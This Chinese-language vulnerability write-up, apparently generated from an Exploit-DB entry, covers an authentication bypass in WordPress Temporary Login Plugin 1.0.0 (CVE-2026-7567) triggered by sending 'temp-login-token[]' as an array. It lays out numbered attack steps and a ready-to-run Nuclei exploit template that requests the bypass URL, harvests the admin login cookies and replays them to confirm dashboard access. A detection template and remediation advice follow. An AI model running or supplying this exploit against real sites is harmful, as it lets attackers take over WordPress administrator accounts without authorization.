[webapps] Wordpress Temporary Login Plugin 1.0.0 - 'temp-login-token' Authentication Bypass to Account Takeover

📋 漏洞基础信息

🔬 漏洞根因

插件在处理'temp-login-token'参数时，未严格校验参数类型。攻击者将参数构造为数组（如temp-login-token[]），导致插件内部逻辑判断异常，绕过认证并直接登录为临时用户（默认管理员权限）。

🎯 攻击场景

1. 确认目标WordPress站点安装了Temporary Login Plugin且版本≤1.0.0； 2. 构造URL：目标站点/wp-admin/?temp-login-token[]； 3. 发送GET请求，该请求不携带任何有效token； 4. 若插件存在，服务器将返回包含合法登录Cookie的响应； 5. 使用该Cookie访问/wp-admin/，如页面包含'Dashboard'则确认获得管理员权限。

💥 漏洞影响

攻击者可未授权获取WordPress后台登录Cookie，直接接管任意临时用户账户（通常为管理员），实现完全权限提升，进而可篡改站点内容、上传恶意文件、执行任意代码。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-7567-exploit

info:
  name: WordPress Temporary Login Plugin temp-login-token Authentication Bypass Exploit
  author: amirhosseinjamshidi64
  severity: critical
  description: WordPress Temporary Login Plugin <= 1.0.0 is vulnerable to authentication bypass via the 'temp-login-token' parameter when passed as an array (temp-login-token[]). This allows an attacker to bypass login mechanisms and gain administrative access to the WordPress dashboard.
  reference:
    - https://www.exploit-db.com/exploits/52743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-7567
  tags: wordpress,wp-plugin,authentication-bypass,admin-access

http:
  - raw:
      - |
        GET /wp-admin/?temp-login-token[] HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Connection: keep-alive
        Upgrade-Insecure-Requests: 1

    max-redirects: 5
    redirects: true

    extractors:
      - type: kval
        kval:
          - 'wordpress_logged_in_*'
          - 'wp-settings-time'
          - 'wp-settings-*'
        internal: true
        part: cookie

      - type: kval
        kval:
          - 'Set-Cookie'
        internal: true
        part: header

    req-condition: true

  - raw:
      - |
        GET /wp-admin/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{wordpress_cookie}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Connection: keep-alive
        Upgrade-Insecure-Requests: 1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Dashboard'
          - 'wp-admin'
        condition: or

      - type: word
        words:
          - 'wp-settings-time'
          - 'wordpress_logged_in'
        condition: or
        part: cookie

    extractors:
      - type: kval
        kval:
          - 'wp-settings-time'
          - 'wordpress_logged_in_*'
        part: cookie

      - type: regex
        name: admin_user
        regex:
          - 'Howdy, ([^<]+)'
          - 'Welcome to WordPress!'
          - 'At a Glance'
        part: body

🔬 深度技术分析

PoC首先提示输入目标URL，随后拼接路径/wp-admin/?temp-login-token[]并发送GET请求。关键点在参数名后添加了空的方括号（temp-login-token[]），使该参数在PHP中变成数组而非字符串。插件在验证token时未处理数组类型，可能引发类型强制转换或绕过验证，从而直接返回登录Cookie。接着PoC检查响应Cookie中是否包含'wp-settings-time'，若有则尝试访问管理后台验证admin权限。最后将所有Cookie保存至本地文件。

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-7567-detection

info:
  name: WordPress Temporary Login Plugin temp-login-token Authentication Bypass Detection
  author: amirhosseinjamshidi64
  severity: critical
  description: WordPress Temporary Login Plugin <= 1.0.0 is vulnerable to authentication bypass via the 'temp-login-token' parameter when passed as an array (temp-login-token[]). This allows an attacker to bypass login mechanisms and potentially gain access to the WordPress admin dashboard.
  reference:
    - https://www.exploit-db.com/exploits/52743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-7567
  tags: wordpress,wp-plugin,authentication-bypass

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/?temp-login-token[]'
      - '{{BaseURL}}/?temp-login-token[]'

    max-redirects: 5
    redirects: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - 'wp-settings-time'
          - 'Dashboard'
        condition: or

      - type: word
        part: cookie
        words:
          - 'wp-settings-time'
          - 'wordpress_logged_in'
        condition: or

    extractors:
      - type: kval
        part: cookie
        kval:
          - 'wp-settings-time'
          - 'wordpress_logged_in'

      - type: regex
        part: header
        name: location
        regex:
          - 'Location: (.*)'
          - 'location: (.*)'

🛡️ 修复建议

厂商已发布修复版本（≥1.0.1），应升级至最新版。临时措施：在/wp-admin/?temp-login-token参数入口添加类型检查，拒绝非字符串类型的输入；或通过Web应用防火墙（WAF）拦截包含'temp-login-token[]'的请求。

📎 参考链接

• https://www.cve.org/CVERecord?id=CVE-2026-7567
• https://wordpress.org/plugins/temporary-login/
• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-27 08:13 | 来源: Exploit-DB